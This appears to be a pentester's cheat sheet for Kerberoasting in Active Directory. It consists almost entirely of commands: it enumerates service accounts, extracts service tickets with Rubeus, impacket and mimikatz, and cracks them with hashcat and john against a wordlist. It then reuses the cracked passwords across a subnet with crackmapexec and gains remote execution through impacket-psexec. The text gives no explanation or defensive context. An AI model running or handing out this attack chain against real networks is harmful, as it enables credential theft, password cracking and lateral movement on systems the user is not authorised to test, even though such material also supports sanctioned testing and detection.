Kerberoasting (Local)

setspn -Q */*

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select Name, ServicePrincipalName

Get-DomainUser -SPN | Select samaccountname, serviceprincipalname

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db01.target.local:1433"

Rubeus.exe kerberoast /outfile:hashes.txt

Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

impacket-GetUserSPNs target.local/user:password -dc-ip DC_IP -request -outputfile hashes.txt

kerberos::list /export

kirbi2john.py ticket.kirbi > hash.txt

# Type 23 — RC4 (krb5tgs$23$)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Type 17 — AES128
hashcat -m 19600 hashes.txt /usr/share/wordlists/rockyou.txt

# Type 18 — AES256
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Test credentials
crackmapexec smb TARGET -u svc_account -p 'CrackedPassword'

# Check if local admin anywhere
crackmapexec smb SUBNET/24 -u svc_account -p 'CrackedPassword'

# PSExec if admin
impacket-psexec target.local/svc_account:'CrackedPassword'@TARGET